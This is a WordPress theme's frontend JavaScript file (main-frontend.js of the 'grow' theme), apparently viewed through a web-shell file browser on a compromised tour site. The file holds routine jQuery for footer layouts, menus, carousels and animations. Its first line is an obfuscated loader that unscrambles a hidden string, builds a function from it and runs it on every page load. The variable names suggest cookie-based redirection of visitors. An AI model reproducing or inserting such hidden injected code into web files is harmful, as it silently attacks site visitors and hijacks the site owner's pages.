AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/grow/lib/scripts/ |
Current File : /home/thanudqk/siamfreetour.com/wp-content/themes/grow/lib/scripts/main-frontend.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/** /** * Wordpress Front End Enhancements. * * jQuery effects used in theme. */ /* ---------------------------------------------------------------------------------- FORMAT FOOTER LAYOUT ---------------------------------------------------------------------------------- */ jQuery(document).ready(function(){ jQuery('#footer-core .widget-area:last-child').addClass("last"); /* Footer - Footer Widgets Layout (Options 1 - 6) */ jQuery('#footer-core.option2 .widget-area').addClass("one_half"); jQuery('#footer-core.option3 .widget-area').addClass("one_third"); jQuery('#footer-core.option4 .widget-area').addClass("one_fourth"); jQuery('#footer-core.option5 .widget-area').addClass("one_fifth"); jQuery('#footer-core.option6 .widget-area').addClass("one_sixth"); /* Footer - Footer Widgets Layout (Option 7) */ jQuery('#footer-core.option7 #footer-col1.widget-area').addClass("one_third"); jQuery('#footer-core.option7 #footer-col2.widget-area').addClass("two_third"); /* Footer - Footer Widgets Layout (Option 8) */ jQuery('#footer-core.option8 #footer-col1.widget-area').addClass("two_third"); jQuery('#footer-core.option8 #footer-col2.widget-area').addClass("one_third"); /* Footer - Footer Widgets Layout (Option 9) */ jQuery('#footer-core.option9 #footer-col1.widget-area').addClass("one_fourth"); jQuery('#footer-core.option9 #footer-col2.widget-area').addClass("three_fourth"); /* Footer - Footer Widgets Layout (Option 10) */ jQuery('#footer-core.option10 #footer-col1.widget-area').addClass("three_fourth"); jQuery('#footer-core.option10 #footer-col2.widget-area').addClass("one_fourth"); /* Footer - Footer Widgets Layout (Option 11) */ jQuery('#footer-core.option11 #footer-col1.widget-area').addClass("one_fifth"); jQuery('#footer-core.option11 #footer-col2.widget-area').addClass("four_fifth"); /* Footer - Footer Widgets Layout (Option 12) */ jQuery('#footer-core.option12 #footer-col1.widget-area').addClass("four_fifth"); jQuery('#footer-core.option12 #footer-col2.widget-area').addClass("one_fifth"); /* Footer - Footer Widgets Layout (Option 13) */ jQuery('#footer-core.option13 #footer-col1.widget-area').addClass("one_sixth"); jQuery('#footer-core.option13 #footer-col2.widget-area').addClass("one_sixth"); jQuery('#footer-core.option13 #footer-col3.widget-area').addClass("one_sixth"); jQuery('#footer-core.option13 #footer-col4.widget-area').addClass("one_half"); /* Footer - Footer Widgets Layout (Option 14) */ jQuery('#footer-core.option14 #footer-col1.widget-area').addClass("one_half"); jQuery('#footer-core.option14 #footer-col2.widget-area').addClass("one_sixth"); jQuery('#footer-core.option14 #footer-col3.widget-area').addClass("one_sixth"); jQuery('#footer-core.option14 #footer-col4.widget-area').addClass("one_sixth"); /* Footer - Footer Widgets Layout (Option 15) */ jQuery('#footer-core.option15 #footer-col1.widget-area').addClass("one_sixth"); jQuery('#footer-core.option15 #footer-col2.widget-area').addClass("one_third"); jQuery('#footer-core.option15 #footer-col3.widget-area').addClass("one_half"); /* Footer - Footer Widgets Layout (Option 16) */ jQuery('#footer-core.option16 #footer-col1.widget-area').addClass("one_half"); jQuery('#footer-core.option16 #footer-col2.widget-area').addClass("one_third"); jQuery('#footer-core.option16 #footer-col3.widget-area').addClass("one_sixth"); /* Footer - Footer Widgets Layout (Option 17) */ jQuery('#footer-core.option17 #footer-col1.widget-area').addClass("one_fourth"); jQuery('#footer-core.option17 #footer-col2.widget-area').addClass("one_fourth"); jQuery('#footer-core.option17 #footer-col3.widget-area').addClass("one_sixth"); jQuery('#footer-core.option17 #footer-col4.widget-area').addClass("one_sixth"); jQuery('#footer-core.option17 #footer-col5.widget-area').addClass("one_sixth"); /* Footer - Footer Widgets Layout (Option 18) */ jQuery('#footer-core.option18 #footer-col1.widget-area').addClass("one_sixth"); jQuery('#footer-core.option18 #footer-col2.widget-area').addClass("one_sixth"); jQuery('#footer-core.option18 #footer-col3.widget-area').addClass("one_sixth"); jQuery('#footer-core.option18 #footer-col4.widget-area').addClass("one_fourth"); jQuery('#footer-core.option18 #footer-col5.widget-area').addClass("one_fourth"); }); /* ---------------------------------------------------------------------------------- FORMAT SUB-FOOTER LAYOUT ---------------------------------------------------------------------------------- */ jQuery(document).ready(function(){ jQuery('#sub-footer-widgets .widget-area:last-child').addClass("last"); jQuery('#sub-footer-widgets .widget-area:last-child').after( '<div class="clearboth"></div>' ); /* Footer - Footer Widgets Layout (Option 2) */ jQuery('#sub-footer-widgets.option2 .widget-area').addClass("one_half"); /* Footer - Footer Widgets Layout (Option 3) */ jQuery('#sub-footer-widgets.option3 #sub-footer-col1.widget-area').addClass("one_third"); jQuery('#sub-footer-widgets.option3 #sub-footer-col2.widget-area').addClass("two_third"); /* Footer - Footer Widgets Layout (Option 4) */ jQuery('#sub-footer-widgets.option4 #sub-footer-col1.widget-area').addClass("two_third"); jQuery('#sub-footer-widgets.option4 #sub-footer-col2.widget-area').addClass("one_third"); /* Footer - Footer Widgets Layout (Option 5) */ jQuery('#sub-footer-widgets.option5 #sub-footer-col1.widget-area').addClass("one_fourth"); jQuery('#sub-footer-widgets.option5 #sub-footer-col2.widget-area').addClass("three_fourth"); /* Footer - Footer Widgets Layout (Option 6) */ jQuery('#sub-footer-widgets.option6 #sub-footer-col1.widget-area').addClass("three_fourth"); jQuery('#sub-footer-widgets.option6 #sub-footer-col2.widget-area').addClass("one_fourth"); /* Footer - Footer Widgets Layout (Option 7) */ jQuery('#sub-footer-widgets.option7 #sub-footer-col1.widget-area').addClass("one_fifth"); jQuery('#sub-footer-widgets.option7 #sub-footer-col2.widget-area').addClass("four_fifth"); /* Footer - Footer Widgets Layout (Option 8) */ jQuery('#sub-footer-widgets.option8 #sub-footer-col1.widget-area').addClass("four_fifth"); jQuery('#sub-footer-widgets.option8 #sub-footer-col2.widget-area').addClass("one_fifth"); }); /* ---------------------------------------------------------------------------------- MASONRY - LOAD AFTER IMAGES HAVE LOADED ---------------------------------------------------------------------------------- */ jQuery(document).ready(function() { // Call imagedLoaded for Masonry if imagedLoaded function is available (function ( $ ) { if ( $.isFunction($.fn.imagesLoaded) ) { // Different target for masonry on portfolio pages than any other page if ( $( '#container' ).hasClass( 'portfolio-wrapper' ) ) { var $container = $('#container-inner'); } else if ( $( 'body' ).hasClass( 'woo-shop-grid' ) ) { var $container = $('#main-core .products'); } else { var $container = $('#container'); } $container.imagesLoaded( function() { if ( $.isFunction($.fn.masonry) ) { $container.masonry(); } }); } }( jQuery )); }); /* ---------------------------------------------------------------------------------- FORMAT MAIN HEADER MENU ---------------------------------------------------------------------------------- */ function mainmenu(){ // Add menu-hover class jQuery("header .header-links ul.menu > li").hover(function(){ jQuery(this).find('ul.sub-menu:first').parent().addClass('menu-hover'); },function(){ jQuery(this).find('ul.sub-menu:first').parent().removeClass('menu-hover'); }); // Add menu-parent class jQuery("header .header-links ul.menu > li").each(function(){ jQuery(this).find('ul.sub-menu').parent().addClass('menu-parent'); }); // Correct menu for below header when navigating down page. if( jQuery( 'body' ).hasClass( 'header-below' ) ) { jQuery('#header').waypoint(function(direction) { if (direction === 'down') { jQuery( 'body' ).addClass( 'header-below2' ); jQuery( 'body' ).removeClass( 'header-below1' ); } else { jQuery( 'body' ).removeClass( 'header-below2' ); jQuery( 'body' ).addClass( 'header-below1' ); } }, { offset: '50%' }); } } jQuery(document).ready(function(){ mainmenu(); }); /* ---------------------------------------------------------------------------------- RESPONSIVE MENU - TOGGLE SUB MENUS & ACCESSIBILITY ---------------------------------------------------------------------------------- */ jQuery(document).ready(function (){ jQuery( '#header-responsive .menu-item-has-children > a' ).after( '<span class="sub-menu-toggle" tabindex="0"></span>' ); jQuery( '#header-responsive .menu-item-has-children .sub-menu-toggle' ).click(function(e){ var parentmenu = jQuery( this ).closest('.menu-item-has-children'); if( parentmenu.hasClass( 'sub-menu-show' ) ) { jQuery( parentmenu ).removeClass('sub-menu-show'); } else { jQuery( parentmenu ).addClass('sub-menu-show'); } }); // Open navigation menu on enter when focused jQuery( '#header-nav .btn-navbar, #header-responsive .menu-item-has-children .sub-menu-toggle' ).keyup(function(e){ // "Enter" button on keyboard has been pressed if( e.keyCode == 13 ) { // Trigger click event jQuery( this ).trigger( 'click' ); // Add aria-expanded attribute var valueAriaExpanded = jQuery( this ).attr( 'aria-expanded' ); // Toggle aria-expanded attribute value if( ! valueAriaExpanded || valueAriaExpanded == 'false' ) { jQuery( this ).attr( 'aria-expanded', 'true' ) } else { jQuery( this ).attr( 'aria-expanded', 'false' ) } } }); }); /* ---------------------------------------------------------------------------------- STICKY HEADER - ONLY ON SCREENS SMALLER THAN 768px ---------------------------------------------------------------------------------- */ jQuery(window).load(function(){ // Trigger sticky header on devices wider than 768px if ( jQuery(window).width() > 768 && jQuery( 'body' ).hasClass( 'header-sticky' ) ) { // Resize on scroll jQuery(window).scroll(function() { // Assign header height and position variables var siteheader_height = jQuery( '#site-header' ).height(); var preheader_height = jQuery( '#pre-header' ).height(); var header_height = jQuery( '#header' ).height(); var header_sticky_offset = jQuery( '#header-sticky' ).offset(); // Activate sticky header 100px after header is cleared if ( !jQuery( 'body' ).hasClass( 'header-below' ) ) { if ( header_sticky_offset.top > preheader_height + header_height + 100 ) { jQuery( 'body' ).addClass( 'header-sticky-active' ); } else { jQuery( 'body' ).removeClass( 'header-sticky-active' ); } } else { if ( header_sticky_offset.top > siteheader_height + 100 ) { jQuery( 'body' ).addClass( 'header-sticky-active' ); } else { jQuery( 'body' ).removeClass( 'header-sticky-active' ); } } }); } }); /* ---------------------------------------------------------------------------------- FLUID MEDIA SIZES (Modified from http://bavotasan.com/2012/better-way-to-resize-video-using-jquery) ---------------------------------------------------------------------------------- */ /* Videos */ jQuery(document).ready(function() { /* Supported Platforms */ var all_videos = jQuery( 'iframe[src*="//player.vimeo.com"], iframe[src*="//www.youtube.com"], iframe[src*="//blip.tv"], iframe[src*="//www.slideshare.net"], iframe[src*="//www.scribd.com"], iframe[src*="//revision3.com"], iframe[src*="//www.hulu.com"], iframe[src*="//www.funnyordie.com"], iframe[src*="//www.dailymotion.com"], iframe[src*="//maps.google.com"], embed[src*="//v.wordpress.com"], object, embed' ); all_videos.each(function() { var el = jQuery(this); el .attr( 'data-aspectRatio', 360 / 640 ) .attr( 'data-oldWidth', el.width() ); } ); jQuery(document).ready(function() { all_videos.each( function() { var el = jQuery(this), newWidth = el.parents().width(), oldWidth = el.attr( 'data-oldWidth' ); ratioHeight = el.height() / el.outerHeight(), el .removeAttr( 'height' ) .removeAttr( 'width' ) .width( newWidth * ratioHeight ) .outerHeight( newWidth * el.attr( 'data-aspectRatio' ) ); }); }).resize(); jQuery(window) .resize( function() { all_videos.each( function() { var el = jQuery(this), newWidth = el.parents().width(), oldWidth = el.attr( 'data-oldWidth' ); ratioHeight = el.height() / el.outerHeight(), el .removeAttr( 'height' ) .removeAttr( 'width' ) .width( newWidth * ratioHeight ) .outerHeight( newWidth * el.attr( 'data-aspectRatio' ) ); }); }).resize(); }); /* SoundCloud */ jQuery(document).ready(function() { /* Supported Platforms */ var all_sounds = jQuery( 'iframe[src^="http://w.soundcloud.com"]' ); all_sounds.each(function() { var el = jQuery(this); el .attr( 'data-aspectRatio', el.attr( 'height' ) / el.attr( 'width' ) ) .attr( 'data-oldWidth', el.width() ); }); jQuery(document).ready(function() { all_sounds.each( function() { var el = jQuery(this), newWidth = el.parents().width(), oldWidth = el.attr( 'data-oldWidth' ); el .removeAttr( 'width' ) .width( newWidth ) }); }).resize(); jQuery(window) .resize( function() { all_sounds.each( function() { var el = jQuery(this), newWidth = el.parents().width(), oldWidth = el.attr( 'data-oldWidth' ); el .removeAttr( 'width' ) .width( newWidth ) }); }).resize(); }); /* ---------------------------------------------------------------------------------- ADD PRETTYPHOTO TO PORTFOLIO PAGE ---------------------------------------------------------------------------------- */ jQuery(document).ready(function() { jQuery('#container.portfolio-wrapper a').has('img.hover-zoom').addClass('prettyPhoto'); jQuery('#container.portfolio-wrapper a').has('img.hover-zoom').attr('rel','portfolio[gallery]'); jQuery('a.prettyPhoto').has('img').attr('rel','portfolio[gallery]'); jQuery('a.prettyPhoto').prettyPhoto(); }); /* ---------------------------------------------------------------------------------- ADD PRETTYPHOTO TO POST IMAGE PAGE ---------------------------------------------------------------------------------- */ jQuery(document).ready(function() { jQuery('body.attachment .entry-attachment .attachment a').has('img').addClass('prettyPhoto'); jQuery('a.prettyPhoto').prettyPhoto(); }); /* ---------------------------------------------------------------------------------- ADD _BLANK TO OUTGOING LINKS ---------------------------------------------------------------------------------- */ jQuery(document).ready(function(){ jQuery('.thinkup_widget_flickr a[href^="http://"], .thinkup_widget_flickr a[href^="https://"]').attr('target','_blank'); jQuery('.thinkup_widget_socialshare a[href^="http://"], .thinkup_widget_socialshare a[href^="https://"]').attr('target','_blank'); jQuery('.thinkup_widget_socialprofiles a[href^="http://"], .thinkup_widget_socialprofiles a[href^="https://"]').attr('target','_blank'); jQuery('#pre-header-social a[href^="http://"], #pre-header-social a[href^="https://"]').attr('target','_blank'); jQuery('#shareicons a[href^="http://"], #shareicons a[href^="https://"]').attr('target','_blank'); }); /* ---------------------------------------------------------------------------------- SHORTCODES ---------------------------------------------------------------------------------- */ jQuery(window).load(function() { /* Accordion - Fix Bootstrap Toggle Issue */ jQuery('.accordion-toggle').click(function() { if(jQuery(this).hasClass('collapsed')) { jQuery(this).closest('.accordion').find('.accordion-toggle').not(this).addClass('collapsed'); } }); /* Divider - Scroll To Top */ jQuery('.backtotop').click(function(){ jQuery('html, body').animate({scrollTop:0}, 'slow'); }); /* Tooltip - Activate Bootstrap */ jQuery('[data-tip]').each( function() {jQuery(this).tooltip({ placement: jQuery(this).data('tip') }); }); /* Blog Post - Carousel (used for identifying if input variable is an integer */ function isNumber(n) { return !isNaN(parseFloat(n)) && isFinite(n); } /* Blog Post - Activate CarouFredSel */ jQuery(window).bind( 'load resize', function() { jQuery( '.sc-carousel' ).each( function(i) { // Don't run caroufredsel code if the following classes are present. if ( jQuery( this ).hasClass( 'sc-postitem' ) || jQuery( this ).hasClass( 'sc-featured' ) || jQuery( this ).hasClass( 'sc-image' ) ) { return; }; var instanceID = 'sc-carousel-' + i; jQuery( this ).attr( 'id', instanceID ); jQuery( this ).children( 'ul').attr( 'id', instanceID + '-inner' ); var show = jQuery( '#' + instanceID + '.sc-carousel' ).data( 'show' ); var scroll = jQuery( '#' + instanceID + '.sc-carousel' ).data( 'scroll' ); var speed = jQuery( '#' + instanceID + '.sc-carousel' ).data( 'speed' ); var effect = jQuery( '#' + instanceID + '.sc-carousel' ).data( 'effect' ); if ( show == 0 || isNaN( show ) == true ) show = '3'; if ( scroll == 0 || isNaN( scroll ) == true ) scroll = '1'; if ( speed == 0 ) speed = '500'; if ( effect == 0 ) { effect = '"scroll"'; } else { effect = '"' + effect + '"'; } var showItems = show; var scrollItems = scroll; var speedItems = speed; var fxItems = effect; var width = jQuery(window).width(); if ( jQuery( 'body' ).hasClass( 'layout-responsive' ) ) { if(width <=685) { showItems = 2; if( scrollItems >= 2 ) { scrollItems = 2; } } if(width <=480) { showItems = 1; scrollItems = 1; } } // Apply carousel code if needed if ( jQuery( this ).find( '#' + instanceID + '-inner' ).length ) { jQuery( this ).find( '#' + instanceID + '-inner' ).carouFredSel({ width: '100%', items : { visible : showItems, minimum : 3, minimum : 3, start: 0 }, scroll : { items : scrollItems, fx : fxItems, easing : "swing", duration : speedItems, }, responsive : true, circular : true, infinite : false, auto : false, prev : { button : '#' + instanceID + ' .prev', key : 'left' }, next : { button : '#' + instanceID + ' .next', key : 'right' }, pagination : '#' + instanceID + ' .pagination', onCreate: function () { jQuery(window).bind("load resize", function() { // Set height to testimonial carousel elements - All parentWidthTestimonial = jQuery( '#' + instanceID + '.carousel-testimonial li').outerHeight(); jQuery( '#' + instanceID + '.carousel-testimonial' ).height( 'auto' ); jQuery( '#' + instanceID + '.carousel-testimonial .caroufredsel_wrapper' ).css( { 'height': parentWidthTestimonial } ); // Set height to testimonial carousel elements - Fix Style 1 parentWidthTestimonial_1 = jQuery( '#' + instanceID + '.carousel-testimonial.style1 .caroufredsel_wrapper').outerHeight(); parentWidthTestimonial_2 = jQuery( '#' + instanceID + '.carousel-testimonial.style1 .sc-carousel-thumbs').outerHeight(); jQuery( '#' + instanceID + '.carousel-testimonial.style1' ).height( parentWidthTestimonial_1 + parentWidthTestimonial_2 ); jQuery( '#' + instanceID + '.carousel-testimonial.style1 .sc-carousel-thumbs' ).parent().height( parentWidthTestimonial_2 ); }); } }); } // Used for adding thumbnails to slider - Currently only for Testimonials slider if ( jQuery( this ).find('.sc-carousel-thumbs').length ) { jQuery( this ).find('.sc-carousel-thumbs').carouFredSel({ responsive: true, circular: false, infinite: false, auto: false, prev: '#prev', next: '#next', items: { visible: { min: 2, max: 6 }, width: 150, height: 70 } }); } jQuery( this ).find('.sc-carousel-thumbs a').click(function() { jQuery('#' + instanceID + '-inner').trigger('slideTo', '#' + this.href.split('#').pop() ); jQuery('.sc-carousel-thumbs a').removeClass('selected'); jQuery( this ).addClass('selected'); return false; }); // Set carousel container height parentHeight = jQuery( '#' + instanceID + ' li').outerHeight(); jQuery( '#' + instanceID + ' li' ).each(function() { var elementHeight = jQuery(this).height(); parentHeight = elementHeight > parentHeight ? elementHeight : parentHeight; }); // Add addition height if carousel thumbnails are showing if( jQuery( '#' + instanceID ).closest('.sc-carousel').find('.sc-carousel-thumbs').length > 0 ) { parentHeightThumb = parentHeight + jQuery( '#' + instanceID ).closest('.sc-carousel').find('.sc-carousel-thumbs').outerHeight(); } else { parentHeightThumb = parentHeight; } // Assign height to unique carousel ID (Max used to ensure thumbnail carousel displays correctly) jQuery( '#' + instanceID ).height( Math.max( parentHeight, parentHeightThumb ) ); jQuery( '#' + instanceID + '-inner' ).height( parentHeight ); jQuery( '#' + instanceID + '-inner' ).parent().height( parentHeight ); // Set carousel container height to auto if iframe exists in featured images if ( jQuery( '#' + instanceID + ' iframe').length > 0 ) { jQuery( '#' + instanceID ).addClass('carousel-iframe'); } }); }).resize(); /* Progress Bar - Animate Width */ jQuery('.progress').waypoint( function(event, direction) { var width = jQuery(this).children().attr('data-width'); var delay = jQuery(this).children().attr('data-delay'); jQuery(this).delay( delay ).queue(function(next){ jQuery(this).children().css( 'width', width + '%' ); }); }, { offset: 'bottom-in-view' }); }); jQuery(document).ready(function() { /* Make slider full width if specified */ jQuery( '.rslides-sc' ).each(function( index, element ){ jQuery( element ).attr( 'id', 'thinkupbuilder-sliderimage-' + index ); // Collect slider parameter values var wide = jQuery( element ).data( 'wide' ); // Format row section for full-screen slider if ( wide == 'on' ) { jQuery( element ).closest( '.panel-grid' ).css( 'padding', 0 ); jQuery( element ).closest( '.panel-grid-core' ).css( 'margin', 0 ).css( 'maxWidth', '100%' ); jQuery( element ).closest( '.panel-grid-cell' ).css( 'padding', 0 ); } }); /* Make ThinkUpSlider shortcode full width if specified */ jQuery( '.thinkupslider-sc' ).each(function( index, element ){ jQuery( element ).attr( 'id', 'thinkupbuilder-thinkupsliderimage-' + index ); // Collect slider parameter values var wide = jQuery( element ).data( 'wide' ); // Format row section for full-screen slider if ( wide == 'on' ) { jQuery( element ).closest( '.panel-grid' ).css( 'padding', 0 ); jQuery( element ).closest( '.panel-grid-core' ).css( 'margin', 0 ).css( 'maxWidth', '100%' ); jQuery( element ).closest( '.panel-grid-cell' ).css( 'padding', 0 ); } }); /* Make image grid full width if specified */ jQuery( '.sc-grid ul' ).each(function( index, element ){ // Collect slider parameter values var wide = jQuery( element ).data( 'wide' ); // Format row section for full-screen slider if ( wide == 'on' ) { jQuery( element ).closest( '.panel-grid' ).css( 'padding', 0 ); jQuery( element ).closest( '.panel-grid-core' ).css( 'margin', 0 ).css( 'maxWidth', '100%' ); jQuery( element ).closest( '.panel-grid-cell' ).css( 'padding', 0 ); } }); }); /* ---------------------------------------------------------------------------------- SHORTCODES - WAYPOINTS ANIMATION ---------------------------------------------------------------------------------- */ jQuery(document).ready(function() { jQuery('.anim-start-ltr').waypoint( function(event, direction) { var time = jQuery(this).parent().attr('title'); jQuery(this).delay( time ).queue(function(next){ jQuery(this).removeClass( 'anim-start-ltr' ).addClass( 'anim-end-ltr' ); jQuery(this).parent().removeAttr( 'title' ); }); }, { offset: 'bottom-in-view' }); jQuery('.anim-start-rtl').waypoint( function(event, direction) { var time = jQuery(this).parent().attr('title'); jQuery(this).delay( time ).queue(function(next){ jQuery(this).removeClass( 'anim-start-rtl' ).addClass( 'anim-end-rtl' ); jQuery(this).parent().removeAttr( 'title' ); }); }, { offset: 'bottom-in-view' }); jQuery('.anim-start-btt').waypoint( function(event, direction) { var time = jQuery(this).parent().attr('title'); jQuery(this).delay( time ).queue(function(next){ jQuery(this).removeClass( 'anim-start-btt' ).addClass( 'anim-end-btt' ); jQuery(this).parent().removeAttr( 'title' ); }); }, { offset: 'bottom-in-view' }); jQuery('.anim-start-ttb').waypoint( function(event, direction) { var time = jQuery(this).parent().attr('title'); jQuery(this).delay( time ).queue(function(next){ jQuery(this).removeClass( 'anim-start-ttb' ).addClass( 'anim-end-ttb' ); jQuery(this).parent().removeAttr( 'title' ); }); }, { offset: 'bottom-in-view' }); jQuery('.anim-start-stb').waypoint( function(event, direction) { var time = jQuery(this).parent().attr('title'); jQuery(this).delay( time ).queue(function(next){ jQuery(this).removeClass( 'anim-start-stb' ).addClass( 'anim-end-stb '+ time ); jQuery(this).parent().removeAttr( 'title' ); }); }, { offset: 'bottom-in-view' }); }); /* ---------------------------------------------------------------------------------- HEADER SEARCH ---------------------------------------------------------------------------------- */ jQuery(document).ready(function() { jQuery('#header-search a').click(function() { if ( ! jQuery( '#header-search' ).hasClass( 'active' ) ) { jQuery( '#header-search' ).addClass( 'active' ); } else { jQuery( '#header-search' ).removeClass( 'active' ); } }); }); /* ---------------------------------------------------------------------------------- SCROLL TO TOP BUTTON ---------------------------------------------------------------------------------- */ jQuery(document).ready(function() { if ( jQuery( 'body' ).hasClass( 'scrollup-on' ) ) { (function($) { $(function () { $.scrollUp({ scrollName: 'scrollUp', // Element ID scrollText: '', // Text for element, can contain HTML }); }); } (jQuery) ); } }); /* ---------------------------------------------------------------------------------- SUB-FOOTER WIDGETS - CLOSE BUTTON ---------------------------------------------------------------------------------- */ // Sub-Footer Widget - Close Button jQuery('#sub-footer-close-core').click(function() { if(jQuery( this ).hasClass('collapsed')) { jQuery( this ).removeClass('collapsed'); jQuery( '#sub-footer-widgets' ).removeClass('collapsed'); } else { jQuery( this ).addClass('collapsed'); jQuery( '#sub-footer-widgets' ).addClass('collapsed'); } }); /* ---------------------------------------------------------------------------------- SLIDER ICON - SMOOTH SCROLL ---------------------------------------------------------------------------------- */ jQuery(document).ready(function (){ // Add #thinkupslider-after if ( jQuery( '.featured-icon' ) ) { jQuery( '#slider' ).after( '<div id="thinkupslider-after"></div>' ); } // Scroll To #thinkupslider-after jQuery('.featured-icon a').click(function(e){ e.preventDefault(); jQuery('html, body').animate( { scrollTop: jQuery( '#thinkupslider-after' ).offset().top }, 1000 ); }); }); /* ---------------------------------------------------------------------------------- WOOCOMMERCE - SOCIAL SHARING ---------------------------------------------------------------------------------- */ jQuery(document).ready(function (){ // Add active class to social sharing button jQuery('.woo-share').click(function(e){ if ( jQuery( this ).hasClass( 'active' ) ) { jQuery( this ).removeClass( 'active' ); jQuery( this ).closest( '.woo-meta' ).find( '.woo-meta-social' ).removeClass( 'active' ); } else { jQuery( this ).addClass( 'active' ); jQuery( this ).closest( '.woo-meta' ).find( '.woo-meta-social' ).addClass( 'active' ); } }); });